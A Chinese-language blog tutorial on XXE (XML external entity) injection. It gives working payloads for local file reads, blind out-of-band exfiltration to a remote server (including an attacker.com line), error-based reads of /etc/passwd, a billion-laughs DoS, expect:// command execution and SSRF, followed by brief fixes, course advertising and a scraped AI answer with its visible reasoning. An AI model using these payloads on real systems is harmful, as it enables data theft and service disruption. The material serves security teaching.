XXE漏洞详解(全网最详细)零基础入门到精通,收藏这篇就够了

目录

XXE漏洞概述

XXE漏洞原理

XML

DTD

内部实体

外部实体

XXE漏洞利用

文件读取

有回显

无回显:加载远程DTD

无回显:加载本地DTD

Dos攻击

命令执行

SSRF

XXE漏洞修复方案

XXE漏洞总结


XXE漏洞概述

XXE:全称为XML Enternal Entity Injection,中文名称:XML外部实体注入。

XXE漏洞原理

漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。

Content-type:text/xml application/xml

XML

简单了解XML:

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 被设计为传输和存储数据,其焦点是数据的内容 XML 被设计用来结构化、存储以及传输信息
  • XML 允许创作者定义自己的标签和自己的文档结构

语法:

  • XML元素都必须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

结构:

  • XML 文档声明,在文档的第一行
  • XML 文档类型定义,即DTD,XXE 漏洞所在的地方
  • XML 文档元素

XML的实体引用:

DTD

文档类型定义(DTD):可以合法的XML文档构建模块,可以被声明在XML的文档中,也可以作为一个外部的引用。这里也就是XXE存在的地方。

DTD文档的三种格式:

1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>

2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

内部实体

内部实体几乎没有什么利用价值

<!ENTITY 实体名称 "实体的值">

例如:
<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>

外部实体
有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php


例如:
<!DOCTYPE foo [
	<!ELEMENT foo ANY >
	<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >

%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在中。

XXE漏洞利用

XXE 和 SQL注入 的攻击方法也有一点相似,也分有回显和没有回显

有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据

文件读取

有回显

有回显测试源码:

<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);//有回显
?>

simple_load_string解析接收过来的XML代码

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

无回显:加载远程DTD

无回显的文件读取可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。

虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

paylaod:

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>

evil.xml

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>"> %payload;
//%号要进行实体编码成&#x25

先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后替换 %send,数据被发送到我们远程的服务器,就实现了数据的外带

有两种无回显的模板可以参考:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>

evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

无回显:加载本地DTD

如果目标有防火墙等设备,阻止了对外连接,可以采用基于错误回显的XXE。这种方式最流行的一种就是加载本地的DTD文件。

<?xml version="1.0" ?>
<!DOCTYPE messege [
  <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/Websphere/AppServer/properties/sip-app10.dtd">
  <!ENTITY % condition'aaa)>
    <!ENTITY &#x25;file SYSTEM "file:///etc/passwd">SYSTEM &#x27;<!ENTITY &#x25; eval " 
    <!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ENTITY aa (bb'>
  %local_dtd;
]>
<message>any text</message>
 

/opt/IBM/Websphere/AppServer/properties/sip-app10.dtd 是websphere上默认存在的dtd,可以通过加载它触发报错返回读取文件的内容。

Dos攻击

常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。搬运师傅们的代码以供参考

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
  <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

paylaod:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY>
    <!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<root><name>&xxe;</name></root>

SSRF

SSRF的触发点通常是在ENTITY实体中

paylaod:

<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY % ssrf SYSTEM "http://ip:port">
    %ssrf;
]>

XXE漏洞修复方案

XXE漏洞归根结底在于XML文档解析引入外部实体,禁止加载外部实体。

使用安全的libxml依赖库,版本在2.9以上的版本

XXE漏洞总结

  • XXE漏洞产生在外部实体
  • 主要有4个利用方向:文件读取,命令执行,DOS攻击,SSRF
  • 按照有无回显可以分为两大类
  • 无回显可以加载外部实体,返回数据到我们Vps上;或者加载本地实体报错回显

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

03-30
<think>嗯,用户之前问过XSS,现在又问了XXE。这说明他们对网络安全相关的漏洞比较感兴趣,可能是在学习这方面的知识,或者工作中遇到了相关的问题。我需要先确认XXE的定义,然后回想常见的攻击类型、危害以及防御措施。 首先,XXE的全称是XML External Entity,也就是XML外部实体攻击。它和XSS不同,XSS主要针对的是跨站脚本,而XXE则是利用了XML解析器的特性来实施攻击。用户可能想知道XXE的基本概念,所以得先给出一个明确的定义。 接下来,攻击类型方面,XXE主要有几种形式,比如读取本地文件、发起SSRF攻击、拒绝服务攻击,还有盲注XXE。这些都需要详细解释,特别是通过示例让用户更容易理解。比如,读取/etc/passwd文件的例子,用户可能对如何构造这样的XML payload感兴趣。 然后要讲危害,比如数据泄露、服务中断、内网探测等。这部分需要和前面的攻击类型对应起来,说明每种攻击可能导致的后果。用户可能关心这些漏洞的实际影响,以便评估风险。 防御措施方面,禁用外部实体是关键的,同时还有输入验证、使用安全配置的解析器、限制XML结构等。需要具体说明如何实施这些措施,比如在Java中如何设置DocumentBuilderFactory的属性,或者在PHP中如何使用libxml_disable_entity_loader。用户可能需要实际的代码示例来参考,这样他们可以在自己的项目中应用。 另外,用户之前询问的是XSS,现在转向XXE,可能是在构建一个安全Web应用,需要全面了解各种漏洞。因此,回答中要强调两者的不同,以及防御策略的差异。比如,XSS主要涉及输入输出过滤和CSP,而XXE则更多涉及XML解析的配置。 可能用户还不太清楚XML解析的具体过程,所以需要简单说明XML外部实体的概念,以及为什么解析器默认处理这些实体会有安全隐患。这样可以帮助他们理解漏洞的根源。 需要确保回答结构清晰,分点列出,每个部分有足的细节但不过于冗长。用户可能需要快速找到关键信息,比如如何防御,因此防御措施部分要重点突出,并且给出具体的方法和代码示例,这样更实用。 还要注意检查技术细节的准确性,比如PHP的函数是否正确,Java的配置是否新。避免过时的方法,比如旧的PHP版本处理XXE的方式可能和新版不同,需要指出版本差异或者建议使用安全实践。 后,总结部分要强调XXE的严重性和防御的必要性,提醒用户在实际开发中注意XML处理的安全配置,结合其他安全措施。这样用户能有一个全面的认识,并知道如何采取行动来保护他们的应用。</think>### XXE(XML 外部实体攻击)介绍 #### 1. **定义** XXE(XML External Entity,XML 外部实体攻击)是一种利用 XML 解析器漏洞安全攻击。攻击者通过注入恶意 XML 外部实体,读取服务器本地文件、发起网络请求或执行拒绝服务攻击(DoS)。其核心是滥用 XML 规范中定义的“外部实体”功能。 --- #### 2. **攻击原理** XML 允许通过 `<!ENTITY>` 定义实体(如变量),而外部实体可以通过 URL 或文件路径引用外部资源。若 XML 解析器未禁用外部实体解析,攻击者可构造恶意 XML 内容,例如: ```xml <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> ``` 当解析此 XML 时,服务器会读取 `/etc/passwd` 文件内容并返回给攻击者。 --- #### 3. **常见攻击类型** - **读取本地文件** - **示例**:通过 `file://` 协议读取敏感文件(如 `/etc/passwd`、`C:\Windows\system.ini`)。 - **Payload**: ```xml <!ENTITY xxe SYSTEM "file:///etc/passwd"> ``` - **服务端请求伪造(SSRF)** - **示例**:利用外部实体访问内网服务(如 `http://internal-api:8080`)。 - **Payload**: ```xml <!ENTITY xxe SYSTEM "http://192.168.1.1/admin"> ``` - **拒绝服务攻击(DoS)** - **示例**:通过“实体膨胀”耗尽服务器资源(如 Billion Laughs 攻击): ```xml <!DOCTYPE payload [ <!ENTITY a "lol"> <!ENTITY b "&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;"> <!-- 重复定义直至内存耗尽 --> ]> <data>&c;</data> ``` - **盲注 XXE** - **原理**:通过外带数据(Out-of-Band)将文件内容发送到攻击者服务器。 - **Payload**: ```xml <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%xxe;'>"> %exfil; ``` --- #### 4. **危害** - **敏感数据泄露**:读取服务器配置文件、数据库凭证等。 - **内网探测**:扫描内网服务或 API。 - **服务瘫痪**:通过 DoS 攻击导致系统崩溃。 - **远程代码执行(RCE)**:结合其他漏洞(如 PHP Expect 模块)执行命令。 --- #### 5. **防御措施** - **禁用外部实体解析** - **Java**:设置 `DocumentBuilderFactory` 禁用外部实体: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` - **PHP**:使用 `libxml_disable_entity_loader(true);`。 - **输入验证与过滤** - 检查 XML 内容是否包含 `<!DOCTYPE>` 或 `<!ENTITY>` 声明。 - 使用白名单限制 XML 中允许的标签和属性。 - **使用安全配置的 XML 解析器** - 优先选择默认禁用外部实体的解析库(如 Python 的 `defusedxml`)。 - 避免直接使用 `XMLReader` 或 `SAXParser` 的默认配置。 - **限制 XML 结构复杂度** - 禁止 DTD(文档类型定义)或限制实体层级深度。 - **监控与日志审计** - 记录异常的 XML 解析请求,分析潜在攻击行为。 --- #### 6. **总结** XXE 是 XML 解析场景中的高危漏洞,防御需从禁用外部实体、严格过滤输入、选择安全解析器三方面入手。开发中应避免信任用户提交的 XML 数据,并定期更新依赖库以修复已知漏洞
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值